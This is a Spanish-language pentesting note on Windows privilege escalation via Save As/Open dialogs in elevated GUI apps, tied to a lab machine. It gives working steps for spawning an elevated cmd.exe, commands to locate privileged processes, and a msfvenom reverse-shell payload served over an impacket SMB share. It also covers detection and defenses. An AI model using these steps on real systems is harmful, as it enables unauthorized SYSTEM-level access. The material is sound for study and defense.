the_open_door
café
ESEN
← Volver al índice

GUI privesc (Save As / File Open) in elevated apps

Cuando una aplicación con permisos elevados (SYSTEM, Administrator) muestra un diálogo estándar de Windows (Save As, Open, Browse, Print), ese diálogo hereda el token del proceso padre. Cualquier binario que se lance desde él corre con el mismo token que el padre. Es una escalada puramente por interfaz: no se toca el disco ni la configuración de ningún servicio.

Vías desde un diálogo de fichero

Un diálogo Save As/Open es, en realidad, una ventana del Explorador incrustada, con todas sus capacidades:

Cadenas útiles para teclear en la barra de dirección o en el campo "Nombre de archivo" del diálogo (cada línea es una vía distinta):

cmd.exe
powershell.exe
C:\Windows\System32\cmd.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file://C:/Windows/System32/cmd.exe
\\<lhost>\share\payload.exe

El patrón concreto:

  1. Localizar una app privilegiada en la bandeja del sistema o en el escritorio (bases de datos, servicios de mantenimiento, utilidades de terceros con icono en el tray).
  2. Abrir un menú que lleve a un Save As o File > Open.
  3. En la barra de dirección, teclear cmd.exe y pulsar Enter.
  4. Aparece un cmd.exe con el token elevado; desde ahí, whoami confirma la cuenta.

Es el patrón que dio origen a CVE-2021-35448 (RemoteMouse GUI) y a media docena de exploits contra utilidades de gestión. No es un CVE específico de la app, sino una consecuencia de correr una GUI interactiva con permisos altos.

Localizar la app privilegiada

Antes hay que encontrar un proceso GUI corriendo con más privilegios que la sesión actual. Desde una shell o desde el propio escritorio:

tasklist /v | findstr /i "SYSTEM Administrator"
Get-Process | Select-Object Name,Id,SessionId,MainWindowTitle | Where-Object MainWindowTitle
Get-CimInstance Win32_Process | ForEach-Object { "{0,-25} {1}" -f $_.Name, (Invoke-CimMethod -InputObject $_ -MethodName GetOwner).User }

Cualquier proceso con ventana (MainWindowTitle no vacío) cuyo dueño sea SYSTEM o un administrador es candidato.

Servir el binario por SMB

Si en vez de cmd.exe queremos ejecutar nuestro propio binario, se genera y se sirve por SMB desde el atacante, y en el diálogo se teclea la ruta UNC:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -f exe -o payload.exe
impacket-smbserver share $(pwd) -smb2support
\\<lhost>\share\payload.exe

Requisitos

Acceso interactivo a la sesión (consola física, RDP o una sesión de escritorio) y una aplicación corriendo como una cuenta más privilegiada que la nuestra que exponga cualquier diálogo estándar de fichero, ayuda o impresión. Sin interfaz gráfica (solo shell) esta vía no aplica.

Matices. No confundir con un servicio con permisos incorrectos: aquí no se toca la configuración del servicio, se abusa del token heredado por un diálogo. Tampoco requiere modificar el disco: el ataque es completamente vía interfaz, lo que lo hace difícil de detectar por integridad de ficheros.

Cómo detectarlo. La huella es de linaje de procesos: un cmd.exe/powershell.exe/mmc.exe cuyo proceso padre es una aplicación GUI de terceros corriendo como SYSTEM o administrador, registrado en un Event ID 4688 (creación de proceso) con ese padre inusual. Sysmon 1 con la misma relación padre-hijo es la señal más limpia. Un navegador o un cmd lanzado desde el proceso de una app de bandeja privilegiada casi nunca es legítimo.

Defensa. No ejecutar GUIs interactivas bajo cuentas privilegiadas. Cuando sea imprescindible, restringir los diálogos con políticas UI restricted, o correr la parte GUI con un usuario limitado y separar el motor privilegiado en un servicio sin interfaz. Es primo del abuso de permisos de servicio como vía de escalada local.

Máquinas donde se aplica

  • MiceProving Grounds Practice